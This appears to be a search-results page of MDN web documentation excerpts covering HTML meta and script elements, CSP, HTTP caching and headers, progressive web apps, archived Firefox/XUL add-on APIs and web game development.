ent can be used to provide document metadata in terms of name-value pairs, with the name attribute giving the metadata name, and the content attribute giving the value. standard metadata names defined in the html specification the html specification defines the following set of standard metadata names: application-name: the name of the application running in the web page. ...
... generator: the identifier of the software that generated the page. keywords: words relevant to the page's content separated by commas. ...
... color that user agents should use to customize the display of the page or of the surrounding user interface. the content attribute contains a valid css <color>. standard metadata names defined in other specifications the css color adjustment specification defines the following metadata name: color-scheme: specifies one or more color schemes with which the document is compatible. the browser will use this information in tandem with the user's browser or device settings to determine what colors to use for everything from background and foregrounds to form controls and scrollbars. the primary use for <meta name="color-scheme"> is to indicate compatibility with—and order of preference for—light and dark color modes. the value of the content property for color-scheme may be one ...
...And 5 more matches
<script>: The Script element - HTML: Hypertext Markup Language
Web › HTML › Element › script
will be fetched in parallel to parsing and evaluated as soon as it is available. for module scripts, if the async attribute is present then the scripts and all their dependencies will be executed in the defer queue, therefore they will get fetched in parallel to parsing and evaluated as soon as they are available. this attribute allows the elimination of parser-blocking javascript where the browser would have to load and evaluate scripts before continuing to parse. defer has a similar effect in this case. this is a boolean attribute: the presence of a boolean attribute on an element represents the true value, and the absence of the attribute represents the false value. see browser compatibility for notes on browser support. see also async scripts for asm.js. crossorigin normal scr...
... for asm.js. crossorigin normal script elements pass minimal information to the window.onerror for scripts which do not pass the standard cors checks. to allow error logging for sites which use a separate domain for static media, use this attribute. see cors settings attributes for a more descriptive explanation of its valid arguments. defer this boolean attribute is set to indicate to a browser that the script is meant to be executed after the document has been parsed, but before firing domcontentloaded. scripts with the defer attribute will prevent the domcontentloaded event from firing until the script has loaded and finished evaluating. this attribute must not be used if the src attribute is absent (i.e. for inline scripts), in this case it would have no effect. the defer a...
...ing. this attribute must not be used if the src attribute is absent (i.e. for inline scripts), in this case it would have no effect. the defer attribute has no effect on module scripts — they defer by default. scripts with the defer attribute will execute in the order in which they appear in the document. this attribute allows the elimination of parser-blocking javascript where the browser would have to load and evaluate scripts before continuing to parse. async has a similar effect in this case. integrity this attribute contains inline metadata that a user agent can use to verify that a fetched resource has been delivered free of unexpected manipulation. see subresource integrity. nomodule this boolean attribute is set to indicate that the script should not be executed in ...
...And 5 more matches
Content Security Policy (CSP) - HTTP
Web › HTTP › CSP
etect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks. these attacks are used for everything from data theft to site defacement to distribution of malware. csp is designed to be fully backward compatible (except csp version 2 where there are some explicitly-mentioned inconsistencies in backward compatibility; more details here section 1.1). browsers that don't support it still work with servers that implement it, and vice-versa: browsers that don't support csp simply ignore it, functioning as usual, defaulting to the standard same-origin policy for web content. if the site doesn't offer the csp header, browsers likewise use the standard same-origin policy. to enable csp, you need to configure your web server to return the content-securit...
...ader, but that's an older version and you don't need to specify it anymore.) alternatively, the <meta> element can be used to configure a policy, for example: <meta http-equiv="content-security-policy" content="default-src 'self'; img-src https://*; child-src 'none';"> threats mitigating cross site scripting a primary goal of csp is to mitigate and report xss attacks. ...
...element can be used to configure a policy, for example: <meta http-equiv="content-security-policy" content="default-src 'self'; img-src https://*; child-src 'none';"> threats mitigating cross site scripting a primary goal of csp is to mitigate and report xss attacks. xss attacks exploit the browser's trust of the content received from the server. ...
...And 5 more matches
HTTP caching - HTTP
Web › HTTP › Caching
red properly as not all resources stay identical forever: it is important to cache a resource only until it changes, not longer. there are several kinds of caches: these can be grouped into two main categories: private or shared caches. a shared cache is a cache that stores responses for reuse by more than one user. a private cache is dedicated to a single user. ...
...hes. a shared cache is a cache that stores responses for reuse by more than one user. a private cache is dedicated to a single user. this page will mostly talk about browser and proxy caches, but there are also gateway caches, cdn, reverse proxy caches and load balancers that are deployed on web servers for better reliability, performance and scaling of web sites and web applications. private browser caches a private cache is dedicated to a single user. you might have seen "caching" in your browser's settings already. a browser cache holds all documents downloaded via http by the user. ...
... shared proxy caches a shared cache is a cache that stores responses to be reused by more than one user. for example, an isp or your company might have set up a web proxy as part of its local network infrastructure to serve many users so that popular resources are reused a number of times, reducing network traffic and latency. ...
...And 5 more matches
Using Feature Policy - HTTP
allows you to control which origins can use which features, both in the top-level page and in embedded frames. essentially, you write a policy, which is an allowed list of origins for each feature. for every feature controlled by feature policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins. for each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. if you do not specify a policy for a feature, then a default allowlist will be used. the default allowlist is specific to each feature. the feature-policy header is still in an experimental state, and is subject to change at any time. be wary of this when implementing feature policy on your website. writi...
... using a set of individual policy directives. a policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature. features within a policy are separated by semicolons. allowlist an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...And 5 more matches
HTTP headers - HTTP
Web › HTTP › Headers
authenticate defines the authentication method that should be used to access a resource behind a proxy server. proxy-authorization contains the credentials to authenticate a user agent with a proxy server. caching age the time, in seconds, that the object has been in a proxy cache. cache-control directives for caching mechanisms in both requests and responses. clear-site-data clears browsing data (e.g. cookies, storage, cache) associated with the requesting website. expires the date/time after which the response is considered stale. pragma implementation-specific header that may have various effects anywhere along the request-response chain. used for backwards compatibility with http/1.0 caches where the cache-control header is not yet present. warning general warning inform...
... which would otherwise be reported as zero due to cross-origin restrictions. do not track dnt expresses the user's tracking preference. tk indicates the tracking status of the corresponding response. downloads content-disposition indicates if the resource transmitted should be displayed inline (default behavior without the header), or if it should be handled like a download and the browser should present a “save as” dialog. message body information content-length the size of the resource, in decimal number of bytes. content-type indicates the media type of the resource. content-encoding used to specify the compression algorithm. content-language describes the human language(s) intended for the audience, so that it allows a user to differentiate according to the us...
...ect-ct allows sites to opt in to reporting and/or enforcement of certificate transparency requirements, which prevents the use of misissued certificates for that site from going unnoticed. when a site enables the expect-ct header, they are requesting that chrome check that any certificate for that site appears in public ct logs. feature-policy provides a mechanism to allow and deny the use of browser features in its own frame, and in iframes that it embeds. strict-transport-security (hsts) force communication using https instead of http. upgrade-insecure-requests sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the upgrade-insecure-requests directive. x-content-type-options disables mime ...
...And 5 more matches
Link prefetching FAQ - HTTP
what is link prefetching? link prefetching is a browser mechanism, which utilizes browser idle time to download or prefetch documents that the user might visit in the near future. a web page provides a set of prefetching hints to the browser, and after the browser is finished loading the page, it begins silently prefetching specified documents and stores them in its cache. when the user visits one of the prefetched documents, it can be served up quickly out of the browser's cache. does prefetching work with https? starting in gecko 1.9.1 (firefox 3.5), https content can be prefetched. what are the prefetching hints? the browser looks for either an html <link> or an http link: header with a relation type of either next or prefetch. an example using the link tag follows: <link rel=...
...there can be multiple hints per page, as it might make sense to prefetch multiple documents. for example, the next document might contain several large images. ...
...h a relation type of either next or prefetch. an example using the link tag follows: <link rel="prefetch" href="/images/big.jpeg"> the same prefetching hint using an http link: header: link: </images/big.jpeg>; rel=prefetch the format for the link: header is described in rfc 5988 section 5. the browser observes all of these hints and queues up each unique request to be prefetched when the browser is idle. there can be multiple hints per page, as it might make sense to prefetch multiple documents. for example, the next document might contain several large images. some more examples follow: <link rel="prefetch alternate stylesheet" title="designed for mozilla" href="mozspecific.css"> <link rel="next" href="2.html"> are anchor (<a>) tags prefetched? no, only <link> tags with a relatio...
...And 5 more matches
JavaScript modules - JavaScript
ves you all you need to get started with javascript module syntax. a background on modules javascript programs started off pretty small — most of its usage in the early days was to do isolated scripting tasks, providing a bit of interactivity to your web pages where needed, so large scripts were generally not needed. fast forward a few years and we now have complete applications being run in browsers with a lot of javascript, as well as javascript being used in other contexts (node.js, for example). it has therefore made sense in recent years to start thinking about providing mechanisms for splitting javascript programs up into separate modules that can be imported when needed. node.js has had this ability for a long time, and there are a number of javascript libraries and frameworks that...
...ing about providing mechanisms for splitting javascript programs up into separate modules that can be imported when needed. node.js has had this ability for a long time, and there are a number of javascript libraries and frameworks that enable module usage (for example, other commonjs and amd-based module systems like requirejs, and more recently webpack and babel). ...
...is ability for a long time, and there are a number of javascript libraries and frameworks that enable module usage (for example, other commonjs and amd-based module systems like requirejs, and more recently webpack and babel). the good news is that modern browsers have started to support module functionality natively, and this is what this article is all about. ...
...And 5 more matches
Add to Home screen - Progressive web apps (PWAs)
add to home screen (or a2hs for short) is a feature available in modern browsers that allows a user to "install" a web app, ie. add a shortcut to their home screen representing their favorite web app (or site) so they can subsequently access it with a single tap. this guide explains how a2hs is used, and what you need to do as a developer to allow your users to take advantage of it. why a2hs? a2hs is thought to be part of the progressive web app philosophy — giving web apps the same user experience advantages as native apps so they can compete in today's ecosystem wars. part of this is the simple gesture of accessing an app by tapping its icon on your home screen, and then having it appear neatly in its own window. a2hs makes this possible. what browsers support a2hs? a2hs is sup...
...e part of the progressive web app philosophy — giving web apps the same user experience advantages as native apps so they can compete in today's ecosystem wars. part of this is the simple gesture of accessing an app by tapping its icon on your home screen, and then having it appear neatly in its own window. a2hs makes this possible. what browsers support a2hs? a2hs is supported in all mobile browsers, except ios webview. it's also supported in some chromium desktop browsers. firefox has had mobile support since v58 and is working on desktop support. see caniuse.com for exact details. how do you use it? we've written a very simple example web site (see our demo live, and also see the source code) that doesn't do much, but was developed with the necessary code to allow it to be added to ...
...ent; upon loading our site, you'll see an install banner pop up asking whether you want to add this app to your home screen. note: you can find out a lot more about chrome install banners from the article web app install banners. if you choose not to add it to your home screen at this point, you can do so later using the add to home screen icon in the main chrome menu. regardless of which browser you are using, when you choose to add the app to your home screen, you'll see it appear along with a short title, in the same way that native apps do. tapping this icon opens it up, but as a fullscreen app, you'll no longer see the browser ui around it. how do you make an app a2hs-ready? to enable your app to be added to a home screen, it needs the following: to be served over https —...
...And 5 more matches
Installing and uninstalling web apps - Progressive web apps (PWAs)
this guide explains how installation is performed, what it means, and what you need to do as a developer to let your users take advantage of it. ...
...this guide explains how installation is performed, what it means, and what you need to do as a developer to let your users take advantage of it. ...
...ing web apps the same user experience advantages as native apps so they can be competitive. installed applications are more conveniently invoked as they have a presence in a device’s home screen or app list or bar. this makes it simple for a user to use a gesture to access an app by tapping or clicking its icon. the application itself may then manifest as in a chromeless view (without the full browser chrome) but it nevertheless is executing effectively as a tab within the browser. for users, the experience of a seemingly-native pwa is more comfortable and convenient than a typical web site. by reducing the user experience differential between the web app and native apps on the user's device, you reduce both the loss of any muscle memory they have revolving around the native interface of th...
...And 5 more matches
widget - Archive of obsolete content
panel = require("sdk/panel").panel({ width:215, height:160, contenturl: data.url("clock.html") }); require("sdk/widget").widget({ id: "open-clock-btn", label: "clock", contenturl: data.url("history.png"), panel: clockpanel, onclick: function() { // will not be anchored this.panel.show(); } }); see bug 638142. private windows if your add-on has not opted into private browsing, then your widget will not appear in any private browser windows. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. examples for conciseness, these examples create their content scripts as strings and use the contentscript property. in your own add-ons, you will probably wan...
...w.yahoo.com/favicon.ico"; } }); // a widget that updates content on a timer. widgets.widget({ id: "auto-update-widget", label: "widget that updates content on a timer", content: "0", contentscript: 'settimeout(function() {' + ' document.body.innerhtml++;' + '}, 2000)', contentscriptwhen: "ready" }); // a widget created with a specified width, that grows. var mywidget = widgets.widget({ id: "widget-effect", label: "wide widget that grows wider on a timer", content: "i'm getting longer.", width: 50, }); require("sdk/timers").setinterval(function() { mywidget.width += 10; }, 1000); // a widget communicating bi-directionally with a content script. var widget = widgets.widget({ id: "message-test", label: "bi-directional communication!"...
...w widget. the widget is immediately added to the add-on bar. parameters options : object required options: name type label string a string description of the widget used for accessibility, title bars, and error reporting. id string a string used to identify your widget in order to save its location when the user moves it in the browser. this string has to be unique and must not be changed over time. optional options: name type content string an optional string value containing the displayed content of the widget. it may contain html. widgets must have either the content property or the contenturl property set. if the content is an image, it is automatically scaled to b...
...And 4 more matches
tabs/utils - Archive of obsolete content
functions for working with xul tabs and the xul tabbrowser object. globals functions activatetab(tab, window) set the specified tab as the active, or selected, tab. parameters tab : tab a xul tab element to activate. window : window a browser window. gettabbrowser(window) get the tabbrowser element for the given browser window. parameters window : window a browser window. returns tabbrowser : gettabcontainer(window) get the tabbrowser's tabcontainer property. parameters window : window a browser window. returns tabcontainer : gettabs(window) returns the tabs for the specified window. if you omit window, this function will return tabs across all the browser's windows. ...
...window : window a browser window. returns tabbrowser : gettabcontainer(window) get the tabbrowser's tabcontainer property. parameters window : window a browser window. returns tabcontainer : gettabs(window) returns the tabs for the specified window. if you omit window, this function will return tabs across all the browser's windows. however, if your add-on has not opted into private browsing, then the function will exclude all tabs that are hosted by private browser windows. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. parameters window : nsiwindow optional. returns array : an array of tab elements. ...
...pted into private browsing, then the function will exclude all tabs that are hosted by private browser windows. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. parameters window : nsiwindow optional. returns array : an array of tab elements. getactivetab(window) given a browser window, get the active, or selected, tab. parameters window : window a browser window. returns tab : the currently selected tab. getownerwindow(tab) get the browser window that owns the specified tab. parameters tab : tab a browser tab. returns window : a browser window. opentab(window, url, options) open a new tab in the specified browser window. parameters window : window the...
...And 4 more matches
Progress Listeners - Archive of obsolete content
firefox 3.5 includes a way to set up a listener for all tabs, selected and not: listening to events on all tabs. ...
...firefox 3.5 includes a way to set up a listener for all tabs, selected and not: listening to events on all tabs. ...
... tab/window which triggered the change. ...
...And 4 more matches
Session store API - Archive of obsolete content
using the nsisessionstore interface. knowing when to restore each time firefox is about to restore a tab, an event of type sstabrestoring is sent. ...
...refox 3 note in firefox 3 and later, if you need to detect when a tab is about to be closed so that you can update data associated with the tab before it is closed, you can watch for the "sstabclosing" event, which is sent to the tab. restoring without restarting firefox 3.6 note this section applies to firefox 3.6 and later. firefox 3.6 knows how to save session store data when the last browser window closes, even if there are still other windows open. similarly, it can now restore the user's session while in that state. in other words, it's now possible for sessions to be restored even without the browser quitting and being relaunched. this is something you may need to keep in mind if you rely on the behavior of the session store system. the session restore process the exact sequen...
...een restored unless you determine how many tabs need to be restored then count the sstabrestored events. this section provides a few simple examples of how to make use of the session store api. saving a value with a tab the following code will attach a key/value pair to a tab, so that when the tab is restored, that pair is still associated with it. var ss = components.classes["@mozilla.org/browser/sessionstore;1"] .getservice(components.interfaces.nsisessionstore); var currenttab = gbrowser.selectedtab; var datatoattach = "i want to attach this"; ss.settabvalue(currenttab, "key-name-here", datatoattach); this code sets the value of the key "key-name-here" to datatoattach. you may use any javascript object as the data. fetching a saved value you can fetch a value as...
...And 4 more matches
Source code directories overview - Archive of obsolete content
box (cocoa). beos contains source code for beos. qt contains source code for the qt toolkit, a c class library which runs on x-windows on unix, windows 95, windows 98 and window nt 4.0. photon contains source code for photon, a microkernel windowing system used in several real-time operating systems from qnx software systems ltd. seamonkey seamonkey is the development name for the mozilla browser suite. accessible contains code to support microsoft active accessibility and sun's atk accessibility api for linux. browser contains the code for firefox. this will be covered below. build contains scripts (usually perl) and programs used by the mozilla build team for building and managing the mozilla code base. these programs coordinate the running of makefiles and the creation of the di...
...mpletion feature on the url edit box (stored in netscape.hst in mozilla classic) and for the cached pages index (stored in fat.db in mozilla classic). this code originated at uc berkeley. directory contains the ldap sdk. docshell contains c interfaces and code for loading and displaying a single web page (e.g. scroll). the [#seamonkey-embedding embedding] code wraps this code with higher level browser functions like forward, back and history. dom contains c interfaces and code for implementing and tracking dom (document object model) objects in javascript. it forms the c substructure which creates, destroys and manipulates built-in and user-defined objects according to the javascript script. for example, if the javascript script adds a user-defined attribute to the document (e.g. document.g...
..."document" node and manipulate it according to any later javascript commands. editor contains c interfaces, c code and xul for the embeddable editor component which can edit both plain text and html. it is used for the html editor (i.e. composer in mozilla classic), for plain text and html mail composition and for text fields and text areas throughout the product. the editor is designed like a "browser window with editing features" with extra classes for editing text and managing undo/redo. embedding contains c interfaces and code for generic high-level browser functions (e.g. forward, back, history). the [#seamonkey-webshell webshell] code wraps these interfaces according to the particular platform and way (e.g. activex) that is being supported. extensions contains c interfaces, c code, xu...
...And 4 more matches
Plug-n-Hack Phase1 - Archive of obsolete content
plug-n-hack (pnh) phase 1 allows easier integration and defines how security tools can advertise their capabilities to browsers. security tool manifest to support pnh-1 security tools provide a manifest over http(s) which defines the capabilities that the browser can make use of. it is up to the tool authors to decide how the url of the manifest is published. the tool configures itself by serving an html document (we’ll call this the configuration document) to the browser. this can cause the browser to inspect the manifest and register the tool by firing a customevent with the type configuresectool and a properties object which specifies the url of the tool manifest. for example: var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt = new customevent('con...
...e configuration document) to the browser. this can cause the browser to inspect the manifest and register the tool by firing a customevent with the type configuresectool and a properties object which specifies the url of the tool manifest. for example: var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions. ...
...ost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions. the configuration document should then listen for a number of other events: configuresectoolstarted - this notifies the document that the browser is processing the configuration; if this event is not received within a reasonable amount of time after the configuresectool event has been fired, you might want to warn the user that pnh does not seem to be supported by this browser (perhaps prompting them to install the appropriate addon). configuresectoolfailed - this notifies the document that configuration has failed for some reason. the...
...And 4 more matches
Prism - Archive of obsolete content
prism is no longer developed by mozilla labs. there are now no alternatives. prism is a simple xulrunner-based browser that hosts web applications without the normal web browser user interface. prism is based on a concept called site-specific browsers (ssb). an ssb is designed to work exclusively with a single web application. it doesn’t have the menus, toolbars and other accoutrements of a traditional web browser. an ssb also offers tighter integration with the operating system and desktop than a typical web application running through a web browser. applications running in an ssb are therefore able to benefit from many of the advantages of the desktop and of the web at the same time. benefits separate process: web apps can hog memory or processor cycles or even bring down th...
...tional web browser. an ssb also offers tighter integration with the operating system and desktop than a typical web application running through a web browser. applications running in an ssb are therefore able to benefit from many of the advantages of the desktop and of the web at the same time. benefits separate process: web apps can hog memory or processor cycles or even bring down the whole browser in extreme cases. by running each app in its own process, we minimize the impact of any mishaps. we can also benefit from operating system tools that lets us view the memory/cpu consumption of a specific application. minimal user interface: a general-purpose browser ui is not necessary or appropriate for most web apps. it is more efficient to provide a ui that is specific to the application. ...
...mize the impact of any mishaps. we can also benefit from operating system tools that lets us view the memory/cpu consumption of a specific application. minimal user interface: a general-purpose browser ui is not necessary or appropriate for most web apps. it is more efficient to provide a ui that is specific to the application. this also cuts down on ui clutter (hence the term distraction-free browser). basic desktop integration: support of desktop features can make using the app more natural and convenient for end users. ...
...And 4 more matches
appendNotification - Archive of obsolete content
t in which the function is being run, // this could be simplified. if (typeof window === "undefined") { //if there is no window defined, get the most recent. ...
...run, // this could be simplified. if (typeof window === "undefined") { //if there is no window defined, get the most recent. ...
... window === "undefined") { //if there is no window defined, get the most recent. ...
...And 4 more matches
Building Hierarchical Trees - Archive of obsolete content
« previousnext » a template may be used to generate hierarchical trees. this works just like with recursive generation using the content builder. each level of the tree is created using a successive iteration of the template build process. if the items are containers, the tree builder will mark the right rows as containers, so that they can be opened and closed with the small icon twisties on the left of the column. remember to make the left column the primary column for these to appear. to be able to do this, the tree builder must know that an item is a container. with an rdf datasource, this would usually be an rdf container such as a seq and the tree would display its children. for an xml datasource, the tree might display a node's children as the children in the tree, mak...
...cking it. note that this test is done on the member value not the reference value. for instance, in the photo example, we have a container 'http://www.xulplanet.com/rdf/myphotos' with three photos. three results will be generated from a simple rule with no extra conditions. it is the result, or the photo, that will be checked, not the container of photos. ...
...lue. for instance, in the photo example, we have a container 'http://www.xulplanet.com/rdf/myphotos' with three photos. three results will be generated from a simple rule with no extra conditions. it is the result, or the photo, that will be checked, not the container of photos. since a photo isn't a container, the tree rows will not become containers, so you will not be able to open them. as the rows are not containers, the tree builder does not recurse to find additional data. ...
...And 4 more matches
Creating a Window - Archive of obsolete content
ppear in the window. we'll add some of these in the next set of sections. </window> and finally, we need to close the window tag at the end of the file. opening a window in order to open a xul window, there are several methods that can be used. ...
... in order to open a xul window, there are several methods that can be used. if you are only in the development stage, you can just type the url (whether a chrome:, file: or other url type) into the location bar in a mozilla browser window. you should also be able to double-click the file in your file manager, assuming that xul files are associated with mozilla. the xul window will appear in the browser window as opposed to a new window, but this is often sufficient during the early stages of development. note: the local xul document can be opened in the browser as mentioned above only if |dom.allow_xul_xbl_for_file| preference in "about:config" has been set to |true| . if it does not exist, then it needs to be created and set to |true|. the correct way, of course, is to open the window usin...
...m.allow_xul_xbl_for_file| preference in "about:config" has been set to |true| . if it does not exist, then it needs to be created and set to |true|. the correct way, of course, is to open the window using javascript. no new syntax is necessary as you can use the window.open() function as one can do for html documents. however, one additional flag, called 'chrome' is necessary to indicate to the browser that this is a chrome document to open. this will open the window without the toolbars and menus and so forth that a normal browser window has. the syntax is described below: window.open(url,windowname,flags); where the flags contains the flag "chrome" as in this example window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300"); if you are using fire...
...And 4 more matches
Scrolling Menus - Archive of obsolete content
usnext » this section will describe scrolling menus and how to use the mechanism with other elements. creating a large menu you might wonder what happens if you create a menu with a lot of commands on it, such that all the items won't fit on the screen at once. mozilla will provide a scrolling mechanism that will allow you to scroll through the items. if the available space is too small, arrows will appear on each end of the menu. if you move the mouse over the arrows, the menu will scroll up and down. if the available space is large enough, the arrows will not appear. note that the exact behavior of the scrolling will depend on the current theme. this behavior is automatic. you do not have to do anything in order to get scrolling menus. it will apply to menus on menubars, in popups or ...
...you don't have to use it in menus. it is always a vertical box and may contain any elements inside it. you could use it to implement a list when you don't want it to be a drop-down. ...
...you don't have to use it in menus. it is always a vertical box and may contain any elements inside it. you could use it to implement a list when you don't want it to be a drop-down. ...
...And 4 more matches
grid - Archive of obsolete content
Archive › Mozilla › XUL › grid
note: this page is about grids in mozilla's xul technology. if you are looking for information on css grids, you should go to our css grid layout page instead. « xul reference home [ examples | attributes | properties | methods | related ] a grid is a layout type that arranges elements in rows and columns. the grid is expected to contain both a columns element as a child which defines the structure of the columns and a rows element as child to define the rows. ...
...ur css grid layout page instead. « xul reference home [ examples | attributes | properties | methods | related ] a grid is a layout type that arranges elements in rows and columns. the grid is expected to contain both a columns element as a child which defines the structure of the columns and a rows element as child to define the rows. the size and attributes defined on columns and rows will affect the size and placement of elements in each cell. elements placed within both the columns and rows will be displayed, although usually only elements will be placed inside one of these. ...
... more information is available in the xul tutorial. example <!-- groupbox containing a grid. ...
...And 4 more matches
XULRunner Hall of Fame - Archive of obsolete content
features of gecko for interactive e-books. version updates match the rapid release cycle. now available with xulrunner 30 with i18n support. mathml support is significant. includes smil audio overlays and idpf fixed layout. celtx all-in-one media pre-production software. source chatzilla a standalone version of the chatzilla irc client. conkeror a highly programmable web browser with a leopard-oriented design inspired by emacs. source evergreen - staff client evergreen is an open source library system. source ieditweb a client/server based content manager and internet application suite. ieditweb users can add pages, images, forms, ecommerce many special effects and much more using the xulrunner based client. it will comunicate dyamically with the ieditw...
... provide a tool like phantomjs, with the same api, except that it runs gecko instead of webkit, and it is not headless (but you can still use xvfb to have a headless slimerjs). sqlite manager manage all your sqlite databases using this lightweight extension for firefox, thunderbird, seamonkey, songbird, komodo etc. sqlite manager is also available as a xulrunner application. surebo browselorer a new, simple yet highly functional and customizable web browser, based on xulrunner 22. websecurify web application security testing environment. source yoono desktop win/mac application to get all your friend updates, update your status and share stuff easily across facebook, myspace, twitter, and more - all at once! simplify your online social life. zotero ref...
...bluegriffon the next-generation web editor based on the rendering engine of firefox. build instructions convertigo enterprise mashup server a web integrator and web clipper tool to build enterprise mashups nightingale nightingale is a communtiy fork of the songbird media player, bringing back linux support and much more. build instructions kirix strata a new specialty browser for accessing and manipulating data from the web telekast an open source teleprompter and script editor. source tomtom home 2 pc application to manage tomtom gps devices understanding faith (desktop version) a multimedia religious education resource for catholic secondary schools in australia. vivipos integrated point-of-sales software-hardware solution with cust...
...And 4 more matches
NPN_GetValue - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary allows the plug-in to query the browser for information. syntax #include <npapi.h> nperror npn_getvalue(npp instance, npnvariable variable, void *value); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable information the call gets. ...
...e current plug-in instance. variable information the call gets. ...
...the value parameter should point to an npbool, which will be set appropriately if the function returns nperr_no_error. npnvdocumentorigin: the va...
...And 4 more matches
NPN_SetValue - Archive of obsolete content
syntax #include <npapi.h> nperror npn_setvalue(npp instance, nppvariable variable, void *value); parameters the function has the following parameters: instance pointer to the plugin instance setting the variable. ...
... returns if successful, the function should return nperr_no_error. if unsuccessful, the function should return the most relevant npapi error code. for possible values, see error codes.
...bject nppvformvalue nppvplugindrawingmodel value the value of the specified variable to be set. returns if successful, the function should return nperr_no_error. if unsuccessful, the function should return the most relevant npapi error code. for possible values, see error codes. ...
...And 4 more matches
LiveConnect Overview - Archive of obsolete content
to the character constructor as follows: var c = new java.lang.character("h"); in javascript 1.3 and earlier, you must pass such methods an integer which corresponds to the unicode value of the character. for example, the following code also assigns the value "h" to the variable c: var c = new java.lang.character(72); handling java exceptions in javascript when java code fails at run time, it throws an exception. if your javascript code accesses a java data member or method and fails, the java exception is passed on to javascript for you to handle. beginning with javascript 1.4, you can catch this exception in a try...catch statement. (although this functionality (along with some others) had been broken in gecko 1.9 (see bug 391642) as the mozilla-specific liveconnect code had not been maint...
...r you to handle. beginning with javascript 1.4, you can catch this exception in a try...catch statement. (although this functionality (along with some others) had been broken in gecko 1.9 (see bug 391642) as the mozilla-specific liveconnect code had not been maintained inside mozilla, with java 6 update 11 and 12 building support for reliance on mozilla's implementation of the generic (and cross-browser) npapi plugin code, this has again been fixed.) for example, suppose you are using the java forname method to assign the name of a java class to a variable called theclass. the forname method throws an exception if the value you pass it does not evaluate to the name of a java class. place the forname assignment statement in a try block to handle the exception, as follows: function getclass(java...
...ape.javascript package into your java file. this package defines the following classes: netscape.javascript.jsobject allows java code to access javascript methods and properties. netscape.javascript.jsexception allows java code to handle javascript errors. see the javascript reference for more information about these classes. locating the liveconnect classes in older versions of the netscape browser, these classes were distributed along with the browser. starting with javascript 1.2, these classes are delivered in a .jar file; in previous versions of javascript, these classes are delivered in a .zip file. for example, with netscape navigator 4 for windows nt, the classes are delivered in the java40.jar file in the program\java\classes directory beneath the navigator directory. more recentl...
...And 4 more matches
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
fortunately, the behavior can be overcome in all cases with a single css2 rule. ...
...fortunately, the behavior can be overcome in all cases with a single css2 rule. ...
...fortunately, the behavior can be overcome in all cases with a single css2 rule. tables and inheritance in css terms, tables are like any other element when it comes to inheritance. if a css property can be inherited, then table elements and their components (tr, td, etc.) should inherit just as any other element would. ...
...And 4 more matches
Archive of obsolete content
or for "reasons," your company is required to use very old software and you need to build web content that runs on that software. or perhaps you're just curious about the history of an obsolete feature or api, and how it worked. there are many reasons older documentation can be useful. ...
...on that software. or perhaps you're just curious about the history of an obsolete feature or api, and how it worked. there are many reasons older documentation can be useful. so, we've established this area into which we can archive older documentation. material in this archived content zone should not be used for building new web sites or apps for modern browsers. it's here for historical reference only. see the complete index of archived content note to writers: we need to try to keep the subpages here organized instead of all dumped into one large folder. try to create subtrees for categories of material. also, only move pages here that are extremely obsolete. if anyone might realis...
...ok ** notes ** - the solution quick reference needs more attention. - i'm also looking for a way to organize all that information. - some inline examples were removed because of technical limitations. ...
...And 4 more matches
Implementing controls using the Gamepad API - Game development
this article looks at implementing an effective, cross-browser control system for web games using the gamepad api, allowing you to control your web games using console game controllers. it features a case study game — hungry fridge, created by enclave games. controls for web games historically playing games on a console connected to your tv was always a totally different experience to gaming on the pc, mostly because of the unique controls. eventually, extra drivers and plugins allowed us to use console gamepads with desktop games — either native games or those running in the browser. now in the era of html5, we finally have the gamepad api, which gives us the ability to play browser-based games using gamepad controllers without any plugins. the gamepad api achieves this by providing an...
...firefox 29+ and chrome 35+ support it out of the box. ...
...firefox 29+ and chrome 35+ support it out of the box. ...
...And 4 more matches
Efficient animation for web games - Game development
several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end devices. it is worth documenting some of these things, as there is evidence to suggest (in popular and widely-used ui libraries, for example) that they aren’t necessarily common knowledge. first off, let us discuss some basic ideas. help the browser help you if you are using dom for your ui, which i would certainly recommend, you really ought to use css transitions and/or css animations, rather than javascript-powered animations. though javascript animations can be easier to express at times, unless you have a great need to synchronise ui animation state with game animation state, you’re unlikely to be able to do a better job than the b...
...er help you if you are using dom for your ui, which i would certainly recommend, you really ought to use css transitions and/or css animations, rather than javascript-powered animations. though javascript animations can be easier to express at times, unless you have a great need to synchronise ui animation state with game animation state, you’re unlikely to be able to do a better job than the browser. the reason for this is that css transitions/animations are much higher level than javascript, and express a very specific intent. because of this, the browser can make some assumptions that it can’t easily make when you’re manually tweaking values in javascript. to take a concrete example, if you start a css transition to move something from off-screen so that it is fully visible on-scree...
...reason for this is that css transitions/animations are much higher level than javascript, and express a very specific intent. because of this, the browser can make some assumptions that it can’t easily make when you’re manually tweaking values in javascript. to take a concrete example, if you start a css transition to move something from off-screen so that it is fully visible on-screen, the browser knows that the related content will end up completely visible to the user and can then pre-render that content. when you animate position with javascript, the browser cannot easily make that same assumption, and so you might end up causing it to draw only the newly-exposed region of content, which may introduce slow-down. there are signals at the beginning and end of animations that allow you t...
